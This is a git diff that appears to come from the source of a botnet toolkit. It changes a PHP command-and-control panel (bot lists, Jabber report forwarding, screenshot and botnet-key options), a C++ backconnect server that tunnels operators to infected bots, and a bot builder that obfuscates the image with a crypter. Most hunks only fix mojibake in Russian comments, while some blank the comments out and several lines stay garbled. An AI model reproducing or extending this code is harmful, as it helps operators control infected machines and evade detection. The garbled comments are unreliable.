/////////////////////////////////////////////////////////////////////////////////////////////////// -// Создание СЃРїРёСЃРѕРєР° дейтвий. +// Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = ''; @@ -153,15 +153,15 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// -define('INPUT_WIDTH', '250px'); //РЁРёСЂРёРЅР° input.text. -define('SELECT_WIDTH', '150px'); //РЁРёСЂРёРЅР° select. +define('INPUT_WIDTH', '250px'); //Ширина input.text. +define('SELECT_WIDTH', '150px'); //Ширина select. ThemeBegin(LNG_BOTNET, $jsScript, getBotJsMenu('botmenu'), 0); echo -//Фильтр. +//Фильтр. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN). FORM_CURRENT_MODULE. str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). @@ -249,7 +249,7 @@ THEME_VSPACE. -//Результат. +//Результат. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('botslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN). str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_LIST, numberFormatAsInt($botsCount))), THEME_DIALOG_TITLE). diff --git a/output/server[php]/system/reports_db.lng.en.php b/output/server[php]/system/reports_db.lng.en.php index f625de1..f6e9dba 100644 --- a/output/server[php]/system/reports_db.lng.en.php +++ b/output/server[php]/system/reports_db.lng.en.php @@ -3,7 +3,7 @@ define('LNG_REPORTS_BOTSACTION', 'Bots action:'); -//Фильтр. +//Фильтр. define('LNG_REPORTS_FILTER_TITLE', 'Filter'); define('LNG_REPORTS_FILTER_DATE_P1', 'Search from date (dd.mm):'); diff --git a/output/server[php]/system/reports_files.lng.en.php b/output/server[php]/system/reports_files.lng.en.php index 06b59a4..c40fb4e 100644 --- a/output/server[php]/system/reports_files.lng.en.php +++ b/output/server[php]/system/reports_files.lng.en.php @@ -8,7 +8,7 @@ define('LNG_REPORTS_FILESACTION_REMOVE_EDIR', 'Failed to remove directory "%s".'); define('LNG_REPORTS_FILESACTION_Q', 'You really want execute this action?'); -//Фильтр. +//Фильтр. define('LNG_REPORTS_FILTER_TITLE', 'Search'); define('LNG_REPORTS_FILTER_BOTS', 'Bots:'); diff --git a/output/server[php]/system/reports_jn.lng.ru.php b/output/server[php]/system/reports_jn.lng.ru.php index 5e4092c..057edf7 100644 --- a/output/server[php]/system/reports_jn.lng.ru.php +++ b/output/server[php]/system/reports_jn.lng.ru.php @@ -1,19 +1,19 @@ \ No newline at end of file diff --git a/output/server[php]/system/reports_jn.php b/output/server[php]/system/reports_jn.php index d7c8388..d83793e 100644 --- a/output/server[php]/system/reports_jn.php +++ b/output/server[php]/system/reports_jn.php @@ -4,7 +4,7 @@ $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $is_post = strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 ? true : false; @@ -12,7 +12,7 @@ $jn_enabled = (isset($_POST['enable']) && $_POST['enable'] == 1) ? 1 : ($is_post ? 0 : $config['reports_jn']); $jn_password = isset($_POST['password']) ? $_POST['password'] : $config['reports_jn_pass']; -//Проверяем отправителя. +//Проверяем отправителя. if(!isset($_POST['account'])) { $jn_account = $config['reports_jn_account']; @@ -25,7 +25,7 @@ $jn_server = ''; $jn_port = 5222; - //Получаем РІСЃРµ компоненты акканута. + //Получаем все компоненты акканута. $m = explode('@', $_POST['account']); if(count($m) != 2 || strlen($m[0]) < 1 || strlen($m[1]) < 1)$errors[] = LNG_REPORTS_E1; else @@ -47,7 +47,7 @@ } } -//Проверяем получателя. +//Проверяем получателя. if(isset($_POST['to'])) { if(count(($m = explode('@', $_POST['to']))) != 2 || strlen($m[0]) < 1 || strlen($m[1]) < 1)$errors[] = LNG_REPORTS_E2; @@ -55,17 +55,17 @@ } else $jn_to = $config['reports_jn_to'];; -//Обрабатываем маски. +//Обрабатываем маски. $jn_masks = isset($_POST['masks']) ? $_POST['masks'] : str_replace("\x01", "\n", $config['reports_jn_list']); $jn_masks = trim(str_replace("\r\n", "\n", $jn_masks)); -//Проверяем СЃРєСЂРёРїС‚. +//Проверяем скрипт. $jn_script = trim(isset($_POST['script']) ? $_POST['script'] : $config['reports_jn_script']); -//Проверяем лог-файл. +//Проверяем лог-файл. $jn_logfile = trim(str_replace('\\', '/', trim(isset($_POST['logfile']) ? $_POST['logfile'] : $config['reports_jn_logfile'])), '/'); -//Сохранение параметров. +//Сохранение параметров. if($is_post && count($errors) == 0) { $updateList['reports_jn'] = $jn_enabled ? 1 : 0; @@ -87,25 +87,25 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// ThemeBegin(LNG_REPORTS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_REPORTS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/output/server[php]/system/stats_main.lng.ru.php b/output/server[php]/system/stats_main.lng.ru.php index 64e486d..60a5575 100644 --- a/output/server[php]/system/stats_main.lng.ru.php +++ b/output/server[php]/system/stats_main.lng.ru.php @@ -1,17 +1,17 @@ \ No newline at end of file diff --git a/output/server[php]/system/stats_os.lng.ru.php b/output/server[php]/system/stats_os.lng.ru.php index 90077dd..97b471f 100644 --- a/output/server[php]/system/stats_os.lng.ru.php +++ b/output/server[php]/system/stats_os.lng.ru.php @@ -1,5 +1,5 @@ \ No newline at end of file diff --git a/output/server[php]/system/stats_os.php b/output/server[php]/system/stats_os.php index bd50453..3c3bd3b 100644 --- a/output/server[php]/system/stats_os.php +++ b/output/server[php]/system/stats_os.php @@ -1,16 +1,16 @@ 0) @@ -30,7 +30,7 @@ $i++; } } -//Ошибка. +//Ошибка. else { $osList .= diff --git a/output/server[php]/system/sys_info.php b/output/server[php]/system/sys_info.php index 4708934..ccc927c 100644 --- a/output/server[php]/system/sys_info.php +++ b/output/server[php]/system/sys_info.php @@ -7,7 +7,7 @@ echo str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN). -//Версии РџРћ. +//Версии ПО. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_VERSIONS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Operation system:'), THEME_LIST_ITEM_LTEXT_U1). @@ -34,7 +34,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(mysql_get_client_info())), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//Пути. +//Пути. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_PATHS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Local path:'), THEME_LIST_ITEM_LTEXT_U1). @@ -45,7 +45,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($dir.'/'.$config['reports_path'])), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//Клиент. +//Клиент. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_CLIENT), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'User agent:'), THEME_LIST_ITEM_LTEXT_U1). diff --git a/output/server[php]/system/sys_options.lng.ru.php b/output/server[php]/system/sys_options.lng.ru.php index 2161841..eab6ce0 100644 --- a/output/server[php]/system/sys_options.lng.ru.php +++ b/output/server[php]/system/sys_options.lng.ru.php @@ -1,21 +1,21 @@ \ No newline at end of file diff --git a/output/server[php]/system/sys_options.php b/output/server[php]/system/sys_options.php index d2ade88..69ac5ff 100644 --- a/output/server[php]/system/sys_options.php +++ b/output/server[php]/system/sys_options.php @@ -4,7 +4,7 @@ $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $is_post = strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 ? true : false; @@ -31,7 +31,7 @@ $botnet_cryptkey = $_POST['botnet_cryptkey']; } -//Сохранение параметров. +//Сохранение параметров. if($is_post && count($errors) == 0) { $updateList['reports_path'] = $reports_path; @@ -50,25 +50,25 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// ThemeBegin(LNG_SYS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_SYS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/output/server[php]/system/sys_user.lng.ru.php b/output/server[php]/system/sys_user.lng.ru.php index aa1b309..23e23ef 100644 --- a/output/server[php]/system/sys_user.lng.ru.php +++ b/output/server[php]/system/sys_user.lng.ru.php @@ -1,22 +1,22 @@ \ No newline at end of file diff --git a/output/server[php]/system/sys_user.php b/output/server[php]/system/sys_user.php index db13baa..ba14cd3 100644 --- a/output/server[php]/system/sys_user.php +++ b/output/server[php]/system/sys_user.php @@ -4,15 +4,15 @@ define('DEFAULT_SS_TYPE', 'jpeg'); $screenshotTypes = array('jpeg' => 'jpeg', 'gif' => 'gif', 'png' => 'png'); -$llist = array('en' => 'English', 'ru' => 'Russian (Р СѓСЃСЃРєРёР№)'); +$llist = array('en' => 'English', 'ru' => 'Russian (Русский)'); $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $q = ''; -//Обработка основных данных. +//Обработка основных данных. $language = strtolower(isset($_POST['language'], $llist[$_POST['language']]) ? $_POST['language'] : $userData['language']); if(!isset($llist[$language]))$language = DEFAULT_LANGUAGE; $q .= "language='".addslashes($language)."'"; @@ -25,7 +25,7 @@ if($screenshotQuality <= 0 || $screenshotQuality > 100)$screenshotQuality = 30; $q .= ", ss_quality='".addslashes($screenshotQuality)."'"; -//Обработка пароля. +//Обработка пароля. if(isset($_POST['passold'], $_POST['pass1'], $_POST['pass2']) && strlen($_POST['passold']) > 0 && ($l = strlen($_POST['pass1'])) > 0) { if(strcasecmp(md5($_POST['passold']), $userData['pass']) !== 0)$errors[] = LNG_SYS_PASSWORD_E1; @@ -34,7 +34,7 @@ else $q .= ", pass='".addslashes(md5($_POST['pass1']))."'"; } -//Сохранение параметров. +//Сохранение параметров. if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 && count($errors) == 0) { if(!mysqlQueryEx('cp_users', "UPDATE cp_users SET {$q} WHERE id='{$userData['id']}' LIMIT 1"))$errors[] = mysqlErrorEx(); @@ -46,10 +46,10 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// -//Заполнение СЃРїРёСЃРєРѕРІ. +//Заполнение списков. $languages = ''; foreach($llist as $k => $v) { @@ -70,20 +70,20 @@ ThemeBegin(LNG_SYS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_SYS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/output/server[php]/theme/index.php b/output/server[php]/theme/index.php index ba9317a..4c94e05 100644 --- a/output/server[php]/theme/index.php +++ b/output/server[php]/theme/index.php @@ -1,23 +1,23 @@ "); define('THEME_JAVASCRIPT_EXTERNAL', ''); -//Главное меню. +//Главное меню. define('THEME_MAINMENU_SEPARATOR', ''); define('THEME_MAINMENU_SUBHEADER', THEME_MAINMENU_SEPARATOR.''); define('THEME_MAINMENU_ITEM', '{TEXT}'); define('THEME_MAINMENU_ITEM_CURRENT', '→ {TEXT}'); -//Разное. +//Разное. define('THEME_STRING_FORM_ERROR_1_BEGIN', '


    '); define('THEME_STRING_FORM_ERROR_1_END', '

    '); define('THEME_STRING_FORM_SUCCESS_1_BEGIN', '


    '); @@ -33,20 +33,20 @@ define('THEME_STRING_HELP_ANCHOR', '[?]'); define('THEME_VSPACE', '


    '); -//Предпросмтор отчета. +//Предпросмтор отчета. define('THEME_STRING_REPORTPREVIEW', '[+] {TEXT}'); define('THEME_STRING_REPORTPREVIEW_FTP', '{TEXT}'); -//Скриншот +//Скриншот define('THEME_SCREENSHOT', 'screenshot'); -//Картинка ожидания +//Картинка ожидания define('THEME_IMG_WAIT', 'throbber'); -//Всплывающие меню. +//Всплывающие меню. define('THEME_POPUPMENU_BOT', '{BOTID}'); -//Работа СЃ формой. +//Работа с формой. define('THEME_FORMPOST_BEGIN', '
    '); define('THEME_FORMPOST_TO_NEW_BEGIN', ""); define('THEME_FORMPOST_MP_BEGIN', ''); @@ -56,7 +56,7 @@ define('THEME_FORMGET_END', '
    '); define('THEME_FORM_VALUE', '
    '); -//Диалог. +//Диалог. define('THEME_DIALOG_BEGIN', ''); define('THEME_DIALOG_END', '
    '); define('THEME_DIALOG_TITLE', '{TEXT}'); @@ -108,7 +108,7 @@ define('THEME_DIALOG_ANCHOR', '{TEXT}'); define('THEME_DIALOG_ANCHOR_BLANK', '{TEXT}'); -//РЎРїРёСЃРѕРє +//Список define('THEME_LIST_BEGIN', ''); define('THEME_LIST_END', '
    '); define('THEME_LIST_TITLE', '{TEXT}'); @@ -148,20 +148,20 @@ define('THEME_LIST_ANCHOR_BLANK', '{TEXT}'); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Управление темой. +// Управление темой. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Начало вывода РєРѕРґР°. + Начало вывода кода. - IN $subtitle - string, подзаголовок страницы. - IN $js_script - string, допольнителный JavaScript СЃРєСЂРёРїС‚, или 0, если РѕРЅ РЅРµ нужен. - IN $popup_menu - string, данные для всплывающего меню, или 0, если РѕРЅРѕ РЅРµ нужно. - IN $body_events - string, JavaScript-события для документа, или 0, если РѕРЅРѕ РЅРµ нужно. + IN $subtitle - string, подзаголовок страницы. + IN $js_script - string, допольнителный JavaScript скрипт, или 0, если он не нужен. + IN $popup_menu - string, данные для всплывающего меню, или 0, если оно не нужно. + IN $body_events - string, JavaScript-события для документа, или 0, если оно не нужно. */ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) { - //Добавление JavaScript. + //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; @@ -172,7 +172,7 @@ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) $body_js_events .= ' onclick="jsmHideLastMenu()"'; } - //Добавление главного меню. + //Добавление главного меню. $mainmenu = ''; foreach($GLOBALS['mainMenu'] as &$item) { @@ -190,7 +190,7 @@ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) } /* - Конец вывода РєРѕРґР°. + Конец вывода кода. */ function ThemeEnd() { @@ -198,17 +198,17 @@ function ThemeEnd() } /* - Вывода РєРѕРґР° для небольших страниц. + Вывода кода для небольших страниц. - IN $subtitle - string, подзаголовок страницы. - IN $data - string, содержимое сраницы. - IN $js_script - string, допольнителный JavaScript СЃРєСЂРёРїС‚, или 0, если РѕРЅ РЅРµ нужен. - IN $popup_menu - string, данные для всплывающего меню, или 0, если РѕРЅРѕ РЅРµ нужено. - IN $body_events - string, JavaScript-события для документа, или 0, если РѕРЅРѕ РЅРµ нужно. + IN $subtitle - string, подзаголовок страницы. + IN $data - string, содержимое сраницы. + IN $js_script - string, допольнителный JavaScript скрипт, или 0, если он не нужен. + IN $popup_menu - string, данные для всплывающего меню, или 0, если оно не нужено. + IN $body_events - string, JavaScript-события для документа, или 0, если оно не нужно. */ function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) { - //Добавление JavaScript. + //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; @@ -228,7 +228,7 @@ function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) } /* - Вывод сообщения РѕР± MySQL ошибки Рё выход. + Вывод сообщения об MySQL ошибки и выход. */ function ThemeMySQLError() { @@ -237,9 +237,9 @@ function ThemeMySQLError() } /* - Вывод сообщения РѕР± ошибки Рё выход. + Вывод сообщения об ошибки и выход. - IN $string - string, сообщение РѕР± ошибки. + IN $string - string, сообщение об ошибки. */ function ThemeFatalError($string) { @@ -249,15 +249,15 @@ function ThemeFatalError($string) /* - Вывод СЃРїРёСЃРєР° номеров страниц. + Вывод списка номеров страниц. - IN $list - array, массив массивов номеров страниц. - IN $js_to_first - string, JavaScript РЅР° первую страницу, или 0. - IN $js_to_prev - string, JavaScript РЅР° предидущию страницу, или 0. - IN $js_to_last - string, JavaScript РЅР° последнию страницу, или 0. - IN $js_to_next - string, JavaScript РЅР° следующию страницу, или 0. + IN $list - array, массив массивов номеров страниц. + IN $js_to_first - string, JavaScript на первую страницу, или 0. + IN $js_to_prev - string, JavaScript на предидущию страницу, или 0. + IN $js_to_last - string, JavaScript на последнию страницу, или 0. + IN $js_to_next - string, JavaScript на следующию страницу, или 0. - Return - string, СЃРїРёСЃРѕРє номеров страниц. + Return - string, список номеров страниц. */ function themePageList($list, $js_to_first, $js_to_prev, $js_to_last, $js_to_next) { diff --git a/source/bcserver/bcserver.vcxproj b/source/bcserver/bcserver.vcxproj index 556e57a..aa8e73f 100644 --- a/source/bcserver/bcserver.vcxproj +++ b/source/bcserver/bcserver.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/bcserver/bcserver.vcxproj.user b/source/bcserver/bcserver.vcxproj.user index dec0c0d..695b5c7 100644 --- a/source/bcserver/bcserver.vcxproj.user +++ b/source/bcserver/bcserver.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/bcserver/core.cpp b/source/bcserver/core.cpp index 9df44ea..f657e63 100644 --- a/source/bcserver/core.cpp +++ b/source/bcserver/core.cpp @@ -54,7 +54,7 @@ void Core::showLogo(void) } //////////////////////////////////////////////////// /////////////////////////// -//Р’В Entry point. +// Entry point. //////////////////////////////////////////////////// /////////////////////////// void WINAPI entryPoint(void) diff --git a/source/bcserver/core.h b/source/bcserver/core.h index a23e04c..a082750 100644 --- a/source/bcserver/core.h +++ b/source/bcserver/core.h @@ -1,5 +1,5 @@ /* - Ядро. + . */ #pragma once @@ -19,16 +19,16 @@ extern COREDATA coreData; namespace Core { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Display of the logo. -В В */ + /*    Display of the logo. +  */ void showLogo(void); }; diff --git a/source/bcserver/language.h b/source/bcserver/language.h index 2902608..53068c5 100644 --- a/source/bcserver/language.h +++ b/source/bcserver/language.h @@ -1,16 +1,16 @@ -/*Р’В Р’В Language.*/ +/*  Language.*/ #pragma once #include "..\common\cui[en].h" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Logo. +// Logo. //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_logo BO_NAME L" Backconnect Server %u.%u.%u.%u.\nBuild time: " BO_BUILDTIME L".\n\n" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Commands and options. +// Commands and options. //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_command_listen L"listen" @@ -20,7 +20,7 @@ #define lng_switch_botport_help L"TCP port for accepting a connection from bot." #define lng_switch_clientport L"cp" -#define lng_switch_clientport_help L"TCP port for accepting a connection from РЎРѓlient." +#define lng_switch_clientport_help L"TCP port for accepting a connection from lient." #define lng_switch_ipv4 L"ipv4" #define lng_switch_ipv4_help L"Listen on IPv4 port." diff --git a/source/bcserver/listen.cpp b/source/bcserver/listen.cpp index 500e686..91c8ad5 100644 --- a/source/bcserver/listen.cpp +++ b/source/bcserver/listen.cpp @@ -26,7 +26,7 @@ typedef struct static HANDLE eventQuit; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Working with Handel's table. +// Working with Handel's table. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef struct @@ -43,7 +43,7 @@ static DWORD bccListCount; static CRITICAL_SECTION csBccConnect; /* - Создание ресурсов для контнроля СЃРїРёСЃРєР° соединений. + . */ static void initBccConnect(void) { @@ -54,7 +54,7 @@ static void initBccConnect(void) } /* - Освобождения ресурсов для контнроля СЃРїРёСЃРєР° соединений. + . */ static void uninitBccConnect(void) { @@ -62,11 +62,11 @@ static void uninitBccConnect(void) } /* - РџРѕРёСЃРє данных соединения. + . - IN id - ID соединения. + IN id - ID . - Return - данные соединения, или NULL - если РѕРЅРѕ РЅРµ найдено. + Return - , NULL - . */ static BCCCONNECT *getBccConnect(DWORD id) { @@ -75,11 +75,11 @@ static BCCCONNECT *getBccConnect(DWORD id) } /* - Добавление РЅРѕРІРѕРіРѕ соединения РІ СЃРїРёСЃРѕРє. + . - IN client - сокет для добавления. + IN client - . - Return - ID соединения, или 0 - РІ случаи ошибки. + Return - ID , 0 - . */ static DWORD addBccConnect(SOCKET client) { @@ -126,9 +126,9 @@ static DWORD addBccConnect(SOCKET client) } /* - Закрытие соединение Рё освобождение всех ресурсов. + . - IN id - ID соединения. + IN id - ID . */ static void closeBccConnect(DWORD id) { @@ -169,9 +169,9 @@ static void closeBccConnect(DWORD id) } /* - Тунель между клиентом Рё ботом + - IN p - DWORD, ID соединения. + IN p - DWORD, ID . Return - 0. */ @@ -225,9 +225,9 @@ static DWORD WINAPI sockTunnel(void *p) } /* - Прием соединений РѕС‚ клиентов Рё ботов. + . - IN gsd - данные сокетов. + IN gsd - . */ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd) { @@ -368,7 +368,7 @@ NEXT:; } /* - Кэлбэк консоли, для остановки процесса. + , . Return - TRUE. */ @@ -379,11 +379,11 @@ static BOOL WINAPI handlerRoutine(DWORD) } /* - Создание листинга РЅР° IPv4. + IPv4. - IN port - РїРѕСЂС‚. + IN port - . - Return - С…СЌРЅРґР» сокета, или INVALID_SOCKET. + Return - , INVALID_SOCKET. */ static SOCKET listenPortIpv4(WORD port) { @@ -397,11 +397,11 @@ static SOCKET listenPortIpv4(WORD port) } /* - Создание листинга РЅР° IPv6. + IPv6. - IN port - РїРѕСЂС‚. + IN port - . - Return - С…СЌРЅРґР» сокета, или INVALID_SOCKET. + Return - , INVALID_SOCKET. */ static SOCKET listenPortIpv6(WORD port) { @@ -415,7 +415,7 @@ static SOCKET listenPortIpv6(WORD port) } /* - Точка РІС…РѕРґР°. + . */ void commandListen(LPWSTR *switches, DWORD switchesCount) { @@ -451,12 +451,12 @@ void commandListen(LPWSTR *switches, DWORD switchesCount) bool ipv4 = (Cui::_getSwitchValue(switches, switchesCount, lng_switch_ipv4) == (LPWSTR)1); bool ipv6 = (Cui::_getSwitchValue(switches, switchesCount, lng_switch_ipv6) == (LPWSTR)1); - /*Р’В Р’В Р’В Р’В  -Р’В Р’В Р’В Р’В Specifying the default protocol. -Р’В Р’В Р’В Р’В  -Р’В Р’В Р’В Р’В In the distant future, when the basic protocol would ipv6, needs to be replaced this line -Р’В Р’В Р’В Р’В respectively. -Р’В Р’В */ + /*     +    Specifying the default protocol. +     +    In the distant future, when the basic protocol would ipv6, needs to be replaced this line +    respectively. +  */ if(!ipv4 && !ipv6)ipv4 = true; //Create a socket. diff --git a/source/builder/buildbot.cpp b/source/builder/buildbot.cpp index f279519..14f3bad 100644 --- a/source/builder/buildbot.cpp +++ b/source/builder/buildbot.cpp @@ -19,12 +19,12 @@ #include "clients.h" /* - Сторонний криптор. + . - IN in - указатель Р Р…Р В° адрес РёСЃС…РѕРґРЅРѕРіРѕ образа. - OUT out - указатель Р Р…Р В° адрес конечного образа. Освободить через VirtualFree(). + IN in - . + OUT out - . VirtualFree(). - Return - *in. Ошибку Р Р…Р Вµ возращает Р Р…Р Вµ РєРѕРіРґР° (конечно же наивно). + Return - *in. ( ). */ extern "C" LPBYTE __stdcall crypt(LPBYTE *in, LPBYTE *out); @@ -38,9 +38,9 @@ void BuildBot::uninit(void) } -/*Р’В Р’В Proizvolno fill in the basic configuration, based on the date of the assembly. +/*  Proizvolno fill in the basic configuration, based on the date of the assembly. -Р’В Р’В OUT baseConfig - configuration.*/ +  OUT baseConfig - configuration.*/ static __declspec(noinline) void generateSecretHash(BASECONFIG *baseConfig) { DWORD seek = Crypt::crc32Hash((LPBYTE)BO_BUILDTIME, sizeof(BO_BUILDTIME) - sizeof(WCHAR)); @@ -160,7 +160,7 @@ bool BuildBot::_run(HWND owner, HWND output, Config0::CFGDATA *config, LPWSTR de } //////////////////////////////////////////////////// ////////////////////////////////////////////// - //Р’В Kriptuem image. + // Kriptuem image. //////////////////////////////////////////////////// ////////////////////////////////////////////// writeOutput(output, Languages::get(Languages::builder_bot_proc_creating)); diff --git a/source/builder/buildbot.h b/source/builder/buildbot.h index 4c714d8..5c3c010 100644 --- a/source/builder/buildbot.h +++ b/source/builder/buildbot.h @@ -1,5 +1,5 @@ /* - Сборка бота. + . */ #pragma once @@ -8,24 +8,24 @@ namespace BuildBot { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Run the build bot. + /*    Run the build bot. -В В В В IN owner - osnvonoe window. -В В В В IN output - a window to display status. -В В В В IN config - configuration. -В В В В IN destFolder - destination folder for the destination file. +    IN owner - osnvonoe window. +    IN output - a window to display status. +    IN config - configuration. +    IN destFolder - destination folder for the destination file. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                    false - if an error occurs. +  */ bool _run(HWND owner, HWND output, Config0::CFGDATA *config, LPWSTR destFolder); }; diff --git a/source/builder/buildconfig.h b/source/builder/buildconfig.h index e33cffc..d056f12 100644 --- a/source/builder/buildconfig.h +++ b/source/builder/buildconfig.h @@ -1,5 +1,5 @@ /* - Сборка конфигурации бота. + . */ #pragma once @@ -8,24 +8,24 @@ namespace BuildConfig { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Run the build configuration. + /*    Run the build configuration. -В В В В IN owner - osnvonoe window. -В В В В IN output - a window to display status. -В В В В IN config - koniguratsiya. -В В В В IN destFolder - destination folder for the destination file. +    IN owner - osnvonoe window. +    IN output - a window to display status. +    IN config - koniguratsiya. +    IN destFolder - destination folder for the destination file. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                    false - if an error occurs. +  */ bool _run(HWND owner, HWND output, Config0::CFGDATA *config, LPWSTR destFolder); }; diff --git a/source/builder/builder.cpp b/source/builder/builder.cpp index 95f6361..9063673 100644 --- a/source/builder/builder.cpp +++ b/source/builder/builder.cpp @@ -20,15 +20,15 @@ #define WM_ENABLE_BUTTONS (WM_USER + 100) /* - Загрузка конфигурации. + . - IN hwnd - С…СЌРЅРґР» вкладки. - IN OUT file - файл конфигурации. - OUT config - конфигурация. - IN showError - выводить ли сообщение Р Р† случаи ошибки. + IN hwnd - . + IN OUT file - . + OUT config - . + IN showError - . - Return - true - Р Р† случаи успеха, - false - Р Р† случаи провала. + Return - true - , + false - . */ static bool loadConfig(HWND hwnd, LPWSTR file, Config0::CFGDATA *config, bool showError) { @@ -58,11 +58,11 @@ static bool loadConfig(HWND hwnd, LPWSTR file, Config0::CFGDATA *config, bool sh } /* - Включает, отключает РІСЃРµ РєРѕРїРєРё Р Р…Р В° вкладке. + , . - IN hwnd - вкладка. - IN enable - true - включить, - false - выключить. + IN hwnd - . + IN enable - true - , + false - . */ static void enableButtons(HWND hwnd, bool enable) { @@ -80,7 +80,7 @@ typedef struct }BUILDDATA; /* - Поток для процесса СЃР±РѕСЂРєРё файлов бота. + . IN p - BUILDDATA. @@ -100,7 +100,7 @@ static DWORD WINAPI buildThread(void *p) return 0; 